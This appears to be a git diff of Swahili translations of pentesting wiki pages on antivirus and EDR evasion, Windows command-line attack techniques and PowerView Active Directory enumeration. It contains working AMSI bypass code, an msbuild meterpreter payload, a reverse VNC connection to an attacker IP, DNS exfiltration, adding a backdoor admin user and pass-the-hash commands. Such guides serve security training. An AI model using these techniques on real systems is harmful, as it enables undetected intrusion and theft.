Tazama jinsi inavyoweka `amsi:` na kisha njia ya executable ambayo script ilikimbia, katika kesi hii, powershell.exe
Hatukuacha faili yoyote kwenye diski, lakini bado tulikamatwa kwenye kumbukumbu kwa sababu ya AMSI.
Hatukuacha faili yoyote kwenye diski, lakini bado tulikamatwa katika kumbukumbu kwa sababu ya AMSI.
Zaidi ya hayo, kuanzia na **.NET 4.8**, msimbo wa C# unakimbizwa kupitia AMSI pia. Hii inathiri hata `Assembly.Load(byte[])` ili kupakia utekelezaji wa ndani. Ndio maana kutumia toleo la chini la .NET (kama 4.7.2 au chini) inapendekezwa kwa utekelezaji wa ndani ikiwa unataka kuepuka AMSI.
Kuna njia kadhaa za kuzunguka AMSI:
@ -157,18 +157,18 @@ Hata hivyo, AMSI ina uwezo wa kufichua scripts hata ikiwa ina tabaka kadhaa, hiv
- **AMSI Bypass**
Kwa kuwa AMSI inatekelezwa kwa kupakia DLL kwenye mchakato wa powershell (pia cscript.exe, wscript.exe, nk), inawezekana kuingilia kati kwa urahisi hata ukiendesha kama mtumiaji asiye na mamlaka. Kutokana na kasoro hii katika utekelezaji wa AMSI, watafiti wamegundua njia kadhaa za kuepuka skanning ya AMSI.
Kwa kuwa AMSI inatekelezwa kwa kupakia DLL katika mchakato wa powershell (pia cscript.exe, wscript.exe, nk), inawezekana kuingilia kati kwa urahisi hata ukiendesha kama mtumiaji asiye na mamlaka. Kutokana na kasoro hii katika utekelezaji wa AMSI, watafiti wamegundua njia kadhaa za kuepuka skanning ya AMSI.
**Kulazimisha Kosa**
Kulazimisha kuanzishwa kwa AMSI kufeli (amsiInitFailed) kutasababisha kwamba hakuna skanning itakayofanywa kwa mchakato wa sasa. Awali hii ilifunuliwa na [Matt Graeber](https://twitter.com/mattifestation) na Microsoft imeendeleza saini ili kuzuia matumizi makubwa.
```powershell
Kulazimisha kuanzishwa kwa AMSI kufeli (amsiInitFailed) kutasababisha kwamba hakuna skanning itakayofanywa kwa mchakato wa sasa. Awali hii ilifunuliwa na [Matt Graeber](https://twitter.com/mattifestation) na Microsoft imeunda saini ili kuzuia matumizi makubwa.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Ilichukua mstari mmoja tu wa powershell kuifanya AMSI isitumike kwa mchakato wa sasa wa powershell. Mstari huu umewekwa alama na AMSI yenyewe, hivyo mabadiliko fulani yanahitajika ili kutumia mbinu hii.
Ilichukua tu mstari mmoja wa msimbo wa powershell kufanya AMSI isitumike kwa mchakato wa sasa wa powershell. Mstari huu umewekwa alama na AMSI yenyewe, hivyo mabadiliko fulani yanahitajika ili kutumia mbinu hii.
Hapa kuna AMSI bypass iliyobadilishwa niliyopata kutoka kwa hii [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```powershell
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
@ -181,36 +181,63 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Kumbuka, hii itakuwa na uwezekano wa kuwekewa alama mara tu chapisho hili litakapochapishwa, hivyo usichapishe msimbo wowote ikiwa mpango wako ni kubaki bila kugundulika.
Kumbuka, kwamba hii itakuwa na uwezekano wa kuangaziwa mara hii chapisho litakapochapishwa, hivyo usichapishe msimbo ikiwa mpango wako ni kubaki bila kugundulika.
**Memory Patching**
Teknolojia hii iligunduliwa awali na [@RastaMouse](https://twitter.com/_RastaMouse/) na inahusisha kutafuta anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayohusika na kusafisha ingizo lililotolewa na mtumiaji) na kuandika tena na maagizo ya kurudisha msimbo wa E_INVALIDARG, kwa njia hii, matokeo ya uchunguzi halisi yatarudisha 0, ambayo inatafsiriwa kama matokeo safi.
Tekniki hii iligunduliwa awali na [@RastaMouse](https://twitter.com/_RastaMouse/) na inahusisha kutafuta anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayohusika na kusafisha ingizo lililotolewa na mtumiaji) na kuandika tena na maagizo ya kurudisha msimbo wa E_INVALIDARG, kwa njia hii, matokeo ya kusafisha halisi yatarudisha 0, ambayo inatafsiriwa kama matokeo safi.
> [!NOTE]
> Tafadhali soma [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) kwa maelezo zaidi.
Kuna pia mbinu nyingi nyingine zinazotumika kupita AMSI kwa kutumia powershell, angalia [**ukurasa huu**](basic-powershell-for-pentesters/index.html#amsi-bypass) na [hii repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kujifunza zaidi kuhusu hizo.
Pia kuna mbinu nyingi nyingine zinazotumika kupita AMSI kwa kutumia powershell, angalia [**hii ukurasa**](basic-powershell-for-pentesters/index.html#amsi-bypass) na [**hii repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kujifunza zaidi kuhusu hizo.
Au hii skripti ambayo kupitia memory patching itafanya patch kila mpya Powersh
Zana hii [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) pia inazalisha skripti za kupita AMSI.
**Ondoa saini iliyogundulika**
Unaweza kutumia zana kama **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** na **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** kuondoa saini ya AMSI iliyogundulika kutoka kwenye kumbukumbu ya mchakato wa sasa. Zana hii inafanya kazi kwa kusafisha kumbukumbu ya mchakato wa sasa kwa saini ya AMSI na kisha kuandika tena na maagizo ya NOP, kwa ufanisi kuondoa kutoka kwenye kumbukumbu.
**AV/EDR bidhaa zinazotumia AMSI**
Unaweza kupata orodha ya bidhaa za AV/EDR zinazotumia AMSI katika **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
**Tumia toleo la Powershell 2**
Ikiwa unatumia toleo la PowerShell 2, AMSI haitapakiwa, hivyo unaweza kuendesha skripti zako bila kusafishwa na AMSI. Unaweza kufanya hivi:
```bash
powershell.exe -version 2
```
## PS Logging
PowerShell logging ni kipengele kinachokuwezesha kurekodi amri zote za PowerShell zinazotekelezwa kwenye mfumo. Hii inaweza kuwa na manufaa kwa ajili ya ukaguzi na kutatua matatizo, lakini pia inaweza kuwa **tatizo kwa washambuliaji wanaotaka kuepuka kugundulika**.
Ili kupita PowerShell logging, unaweza kutumia mbinu zifuatazo:
- **Zima PowerShell Transcription na Module Logging**: Unaweza kutumia chombo kama [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) kwa ajili ya hili.
- **Tumia PowerShell toleo la 2**: Ikiwa unatumia PowerShell toleo la 2, AMSI haitapakiwa, hivyo unaweza kuendesha skripti zako bila kuskenwa na AMSI. Unaweza kufanya hivi: `powershell.exe -version 2`
- **Tumia Sehemu ya PowerShell Isiyo na Usimamizi**: Tumia [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) kuanzisha PowerShell bila ulinzi (hii ndiyo inatumika na `powerpick` kutoka Cobalt Strike).
## Obfuscation
> [!NOTE]
> Mbinu kadhaa za obfuscation zinategemea kupeleka data, ambayo itaongeza entropy ya binary ambayo itafanya iwe rahisi kwa AVs na EDRs kuigundua. Kuwa makini na hili na labda tumia encryption tu kwa sehemu maalum za msimbo wako ambazo ni nyeti au zinahitaji kufichwa.
Kuna zana kadhaa ambazo zinaweza kutumika ku **obfuscate C# clear-text code**, kuunda **metaprogramming templates** za kukusanya binaries au **obfuscate compiled binaries** kama vile:
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Ni obfuscator mzuri ya chanzo wazi kwa ajili ya programu za .NET. Inatoa mbinu mbalimbali za ulinzi kama vile obfuscation ya mtiririko wa kudhibiti, anti-debugging, anti-tampering, na encryption ya nyuzi. Inapendekezwa kwa sababu inaruhusu hata obfuscate sehemu maalum za msimbo.
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lengo la mradi huu ni kutoa toleo la chanzo wazi la [LLVM](http://www.llvm.org/) suite ya kukusanya inayoweza kutoa usalama wa programu ulioimarishwa kupitia [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) na kuzuia mabadiliko.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator inaonyesha jinsi ya kutumia lugha ya `C++11/14` kuunda, wakati wa kukusanya, msimbo wa obfuscated bila kutumia zana yoyote ya nje na bila kubadilisha mkusanyaji.
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lengo la mradi huu ni kutoa fork ya chanzo wazi ya [LLVM](http://www.llvm.org/) suite ya kukusanya inayoweza kutoa usalama wa programu ulioongezeka kupitia [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) na kuzuia mabadiliko.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator inaonyesha jinsi ya kutumia lugha ya `C++11/14` kuunda, wakati wa kukusanya, msimbo uliofichwa bila kutumia chombo chochote cha nje na bila kubadilisha mkusanyaji.
- [**obfy**](https://github.com/fritzone/obfy): Ongeza safu ya operesheni zilizofichwa zinazozalishwa na mfumo wa metaprogramming wa C++ template ambao utaifanya maisha ya mtu anayetaka kuvunja programu kuwa magumu kidogo.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ni obfuscator wa x64 binary ambaye anaweza kuficha aina mbalimbali za faili za pe ikiwa ni pamoja na: .exe, .dll, .sys
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ni obfuscator ya binary x64 inayoweza kuficha aina mbalimbali za faili za pe ikiwa ni pamoja na: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame ni injini rahisi ya metamorphic code kwa ajili ya executable zisizo na mipaka.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ni mfumo wa obfuscation wa msimbo wa kiwango kidogo kwa lugha zinazoungwa mkono na LLVM kwa kutumia ROP (return-oriented programming). ROPfuscator inaficha programu katika kiwango cha msimbo wa mkusanyiko kwa kubadilisha maagizo ya kawaida kuwa ROP chains, ikizuia dhana yetu ya kawaida ya mtiririko wa kudhibiti wa kawaida.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ni mfumo wa obfuscation wa msimbo wa kiwango kidogo kwa lugha zinazoungwa mkono na LLVM kwa kutumia ROP (return-oriented programming). ROPfuscator inaficha programu kwenye kiwango cha msimbo wa assembly kwa kubadilisha maagizo ya kawaida kuwa ROP chains, ikizuia dhana yetu ya kawaida ya mtiririko wa kudhibiti.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt ni .NET PE Crypter iliyoandikwa kwa Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor anaweza kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuzil load
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor ina uwezo wa kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuzipeleka
## SmartScreen & MoTW
Huenda umeshuhudia skrini hii unaposhusha baadhi ya executable kutoka mtandao na kuzitekeleza.
Huenda umekutana na skrini hii unaposhusha baadhi ya executable kutoka mtandao na kuziendesha.
Microsoft Defender SmartScreen ni mekanizma ya usalama iliyokusudiwa kulinda mtumiaji wa mwisho dhidi ya kuendesha programu zinazoweza kuwa na madhara.
@ -229,10 +256,10 @@ Njia yenye ufanisi sana ya kuzuia payloads zako kupata Mark of The Web ni kwa ku
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) ni zana inayofunga payloads katika kontena za matokeo ili kuepuka Mark-of-the-Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) ni chombo kinachofunga payloads katika kontena za matokeo ili kuepuka Mark-of-the-Web.
Mfano wa matumizi:
```powershell
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
@ -257,23 +284,31 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## ETW
Event Tracing for Windows (ETW) ni mekanizma yenye nguvu ya kurekodi katika Windows inayoruhusu programu na vipengele vya mfumo **kurekodi matukio**. Hata hivyo, inaweza pia kutumika na bidhaa za usalama kufuatilia na kugundua shughuli mbaya.
Kama ilivyo kwa jinsi AMSI inavyoweza kuzuiwa (kuzidiwa), pia inawezekana kufanya **`EtwEventWrite`** kazi ya mchakato wa nafasi ya mtumiaji irejee mara moja bila kurekodi matukio yoyote. Hii inafanywa kwa kubadilisha kazi hiyo katika kumbukumbu ili irejee mara moja, kwa ufanisi ikizima kurekodi ETW kwa mchakato huo.
Unaweza kupata maelezo zaidi katika **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Kuweka binaries za C# kwenye kumbukumbu kumekuwa kujulikana kwa muda mrefu na bado ni njia nzuri sana ya kuendesha zana zako za post-exploitation bila kukamatwa na AV.
Kuingiza binaries za C# katika kumbukumbu kumekuwa kujulikana kwa muda mrefu na bado ni njia nzuri sana ya kuendesha zana zako za baada ya unyakuzi bila kukamatwa na AV.
Kwa kuwa payload itapakiwa moja kwa moja kwenye kumbukumbu bila kugusa diski, tutahitaji tu kuwa na wasiwasi kuhusu kurekebisha AMSI kwa mchakato mzima.
Kwa kuwa payload itapakiwa moja kwa moja katika kumbukumbu bila kugusa diski, tutahitaji tu kuwa na wasiwasi kuhusu kubadilisha AMSI kwa mchakato mzima.
Mifumo mingi ya C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, nk.) tayari inatoa uwezo wa kutekeleza makusanyo ya C# moja kwa moja kwenye kumbukumbu, lakini kuna njia tofauti za kufanya hivyo:
Mifumo mingi ya C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, nk.) tayari inatoa uwezo wa kutekeleza makusanyo ya C# moja kwa moja katika kumbukumbu, lakini kuna njia tofauti za kufanya hivyo:
- **Fork\&Run**
Inahusisha **kuanzisha mchakato mpya wa dhabihu**, ingiza msimbo wako mbaya wa post-exploitation kwenye mchakato huo mpya, tekeleza msimbo wako mbaya na unapomaliza, uue mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unafanyika **nje** ya mchakato wetu wa Beacon implant. Hii inamaanisha kwamba ikiwa kitu katika hatua zetu za post-exploitation kitatokea vibaya au kukamatwa, kuna **uwezekano mkubwa zaidi** wa **implant yetu kuishi.** Hasara ni kwamba una **uwezekano mkubwa zaidi** wa kukamatwa na **Behavioral Detections**.
Inahusisha **kuanzisha mchakato mpya wa dhabihu**, ingiza msimbo wako mbaya wa baada ya unyakuzi katika mchakato huo mpya, tekeleza msimbo wako mbaya na unapomaliza, uue mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unafanyika **nje** ya mchakato wetu wa Beacon implant. Hii ina maana kwamba ikiwa kitu katika hatua zetu za baada ya unyakuzi kitatokea vibaya au kukamatwa, kuna **uwezekano mkubwa zaidi** wa **implant yetu kuishi.** Hasara ni kwamba una **uwezekano mkubwa zaidi** wa kukamatwa na **Mikakati ya Tabia**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Ni kuhusu kuingiza msimbo wako mbaya wa post-exploitation **katika mchakato wake mwenyewe**. Kwa njia hii, unaweza kuepuka kuunda mchakato mpya na kuupitisha kwa AV, lakini hasara ni kwamba ikiwa kitu kitatokea vibaya na utekelezaji wa payload yako, kuna **uwezekano mkubwa zaidi** wa **kupoteza beacon yako** kwani inaweza kuanguka.
Ni kuhusu kuingiza msimbo mbaya wa baada ya unyakuzi **katika mchakato wake mwenyewe**. Kwa njia hii, unaweza kuepuka kuunda mchakato mpya na kuupitisha kwa AV, lakini hasara ni kwamba ikiwa kitu kitatokea vibaya na utekelezaji wa payload yako, kuna **uwezekano mkubwa zaidi** wa **kupoteza beacon yako** kwani inaweza kuanguka.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
@ -284,25 +319,35 @@ Unaweza pia kupakia C# Assemblies **kutoka PowerShell**, angalia [Invoke-SharpLo
## Using Other Programming Languages
Kama ilivyopendekezwa katika [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), inawezekana kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kutoa mashine iliyoathirika ufikiaji **wa mazingira ya tafsiri yaliyojinstalled kwenye SMB share inayodhibitiwa na Mshambuliaji**.
Kama ilivyopendekezwa katika [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), inawezekana kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kutoa mashine iliyovunjwa **ufikiaji wa mazingira ya tafsiri yaliyoanzishwa kwenye sehemu ya SMB inayodhibitiwa na Mshambuliaji**.
Kwa kuruhusu ufikiaji wa Binaries za Mfasiri na mazingira kwenye SMB share unaweza **kutekeleza msimbo wowote katika lugha hizi ndani ya kumbukumbu** ya mashine iliyoathirika.
Kwa kuruhusu ufikiaji wa Binaries za Mfasiri na mazingira kwenye sehemu ya SMB unaweza **kutekeleza msimbo wowote katika hizi lugha ndani ya kumbukumbu** ya mashine iliyovunjwa.
Repo inaonyesha: Defender bado inachunguza skripti lakini kwa kutumia Go, Java, PHP nk tuna **uwezo zaidi wa kupita saini za statiki**. Kujaribu na skripti za shell za kurudi zisizo na ufichuzi katika lugha hizi kumethibitishwa kuwa na mafanikio.
Repo inaonyesha: Defender bado inachunguza scripts lakini kwa kutumia Go, Java, PHP nk tuna **uwezo zaidi wa kupita saini za statiki**. Kujaribu na scripts za shell za nyuma zisizo na ufichuzi katika hizi lugha kumethibitishwa kuwa na mafanikio.
## TokenStomping
Token stomping ni mbinu inayomruhusu mshambuliaji **kubadilisha token ya ufikiaji au bidhaa ya usalama kama EDR au AV**, ikiwaruhusu kupunguza haki zake ili mchakato usife lakini hautakuwa na ruhusa ya kuangalia shughuli mbaya.
Ili kuzuia hili Windows inaweza **kuzuia michakato ya nje** kupata kushughulikia token za michakato ya usalama.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
## Advanced Evasion
Evasion ni mada ngumu sana, wakati mwingine unahitaji kuzingatia vyanzo vingi tofauti vya telemetry katika mfumo mmoja tu, hivyo ni karibu haiwezekani kubaki bila kugundulika kabisa katika mazingira yaliyoendelea.
Evasion ni mada ngumu sana, wakati mwingine unahitaji kuzingatia vyanzo vingi tofauti vya telemetry katika mfumo mmoja, hivyo ni vigumu kabisa kubaki bila kugundulika katika mazingira yaliyoendelea.
Kila mazingira unayokutana nayo yatakuwa na nguvu na udhaifu wake.
Kila mazingira unayokabiliana nayo yatakuwa na nguvu na udhaifu wake.
Ninawashauri sana uende uangalie hotuba hii kutoka [@ATTL4S](https://twitter.com/DaniLJ94), ili kupata ufahamu wa mbinu za juu za Evasion.
Ninawashauri sana uangalie hotuba hii kutoka [@ATTL4S](https://twitter.com/DaniLJ94), ili kupata ufahamu wa mbinu za juu za Evasion.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Hii pia ni hotuba nyingine nzuri kutoka [@mariuszbit](https://twitter.com/mariuszbit) kuhusu Evasion kwa Kina.
hii pia ni hotuba nyingine nzuri kutoka [@mariuszbit](https://twitter.com/mariuszbit) kuhusu Evasion kwa Undani.
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
@ -312,8 +357,8 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **Check which parts Defender finds as malicious**
Unaweza kutumia [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) ambayo it **ondoa sehemu za binary** hadi **ipate sehemu ambayo Defender** inapata kama mbaya na kuigawanya kwako.\
Zana nyingine inayofanya **kitu sawa ni** [**avred**](https://github.com/dobin/avred) ikiwa na huduma ya wavuti wazi inatoa huduma katika [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Unaweza kutumia [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) ambayo it **ondoa sehemu za binary** hadi **ipate sehemu ambayo Defender** inakuta kuwa mbaya na kuigawanya kwako.\
Zana nyingine inayofanya **kitu sawa ni** [**avred**](https://github.com/dobin/avred) ikiwa na wavuti wazi inayotoa huduma katika [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server**
@ -344,7 +389,7 @@ Kisha, hamasisha binary _**winvnc.exe**_ na faili **mpya** iliyoundwa _**UltraVN
#### **Muunganisho wa kurudi**
**Mshambuliaji** anapaswa **kutekeleza ndani** ya **host** yake binary `vncviewer.exe -listen 5900` ili iwe **tayari** kukamata muunganisho wa kurudi **VNC**. Kisha, ndani ya **mhasiriwa**: Anza daemon ya winvnc `winvnc.exe -run` na endesha `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**Mshambuliaji** anapaswa **kutekeleza ndani** ya **host** yake binary `vncviewer.exe -listen 5900` ili iwe **tayari** kukamata **muunganisho wa VNC** wa kurudi. Kisha, ndani ya **mhasiriwa**: Anza daemon ya winvnc `winvnc.exe -run` na endesha `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**ONYO:** Ili kudumisha usiri huwezi kufanya mambo machache
@ -372,13 +417,13 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Sasa **anzisha lister** na `msfconsole -r file.rc` na **tekeleza** **xml payload** kwa:
Sasa **anzisha lister** na `msfconsole -r file.rc` na **tekeleza** **xml payload** na:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Mlinzi wa sasa atamaliza mchakato haraka sana.**
### Kuunda shell yetu ya kurudi
### Kuunda shell yetu ya nyuma
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
@ -485,7 +530,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
Orodha ya C# obfuscators: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
Orodha ya obfuscators wa C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@ -531,6 +576,6 @@ https://github.com/praetorian-code/vulcan
```
### Zaidi
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,11 +1,11 @@
# Msingi wa Win CMD kwa Pentesters
# Msingi wa CMD wa Windows kwa Wapentest
{{#include ../banners/hacktricks-training.md}}
## Taarifa za Mfumo
### Taarifa za Toleo na Patches
### Taarifa za Toleo na Patch
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
@ -107,7 +107,7 @@ nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
### Magogo na Matukio
### Magogo & Matukio
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
@ -229,7 +229,7 @@ net user hacker Hacker123! /add & net localgroup administrators hacker /add & ne
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```
### Shares
### Hisa
```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
@ -315,7 +315,7 @@ who^ami #whoami
### DOSfuscation
Inazalisha mstari wa CMD uliofichwa
```powershell
```bash
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
@ -332,12 +332,12 @@ netsh http show urlacl
```
### Manual DNS shell
**Attacker** (Kali) lazima atumie moja ya hizi chaguzi 2:
**Mshambuliaji** (Kali) lazima atumie moja ya hizi chaguzi 2:
```bash
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
#### Victim
#### Mtu waathirika
**`for /f tokens`** technique: Hii inatuwezesha kutekeleza amri, kupata maneno ya kwanza X ya kila mstari na kuyatumia kupitia DNS kwa seva yetu.
```bash
@ -371,7 +371,7 @@ return 0;
```
## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)
**Mifano iliyochukuliwa kutoka** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Kuna nyingi zaidi huko!**
**Mifano iliyo chukuliwa kutoka** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Kuna nyingi zaidi huko!**
```bash
## Selected Examples of ADS Operations ##

File diff suppressed because one or more lines are too long

View File

@ -7,7 +7,7 @@ Toleo la hivi karibuni la PowerView litakuwa daima katika tawi la dev la PowerSp
[**SharpView**](https://github.com/tevora-threat/SharpView) ni bandari ya .NET ya [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
### Quick enumeration
```powershell
```bash
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
```
### Taarifa za Kikoa
```powershell
```bash
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
Get-ForestDomain
```
### Watumiaji, Vikundi, Kompyuta & OUs
```powershell
```bash
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
@ -126,8 +126,8 @@ Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
```
### Kuingia na Sesheni
```powershell
### Kuingia na Vikao
```bash
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
@ -136,9 +136,9 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
```
### Group Policy Object - GPOs
Ikiwa mshambuliaji ana **mamlaka ya juu juu ya GPO** anaweza kuwa na uwezo wa **privesc** kwa kutumia hiyo kwa **kuongeza ruhusa kwa mtumiaji**, **kuongeza mtumiaji wa admin wa ndani** kwenye mwenyeji au **kuunda kazi iliyopangwa** (ya haraka) kufanya kitendo.\
Ikiwa mshambuliaji ana **privileges za juu juu ya GPO** anaweza kuwa na uwezo wa **privesc** kwa kutumia hiyo kwa **kuongeza ruhusa kwa mtumiaji**, **kuongeza mtumiaji wa admin wa ndani** kwenye mwenyeji au **kuunda kazi iliyopangwa** (ya haraka) kufanya kitendo.\
Kwa [**maelezo zaidi kuhusu hii na jinsi ya kuitumia vibaya fuata kiungo hiki**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
```powershell
```bash
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
@ -171,14 +171,14 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
Jifunze jinsi ya **kufaidika na ruhusa kupitia GPOs na ACLs** katika:
Jifunze jinsi ya **kufaidika na ruhusa juu ya GPOs na ACLs** katika:
{{#ref}}
../active-directory-methodology/acl-persistence-abuse/
{{#endref}}
### ACL
```powershell
```bash
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
@ -199,13 +199,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
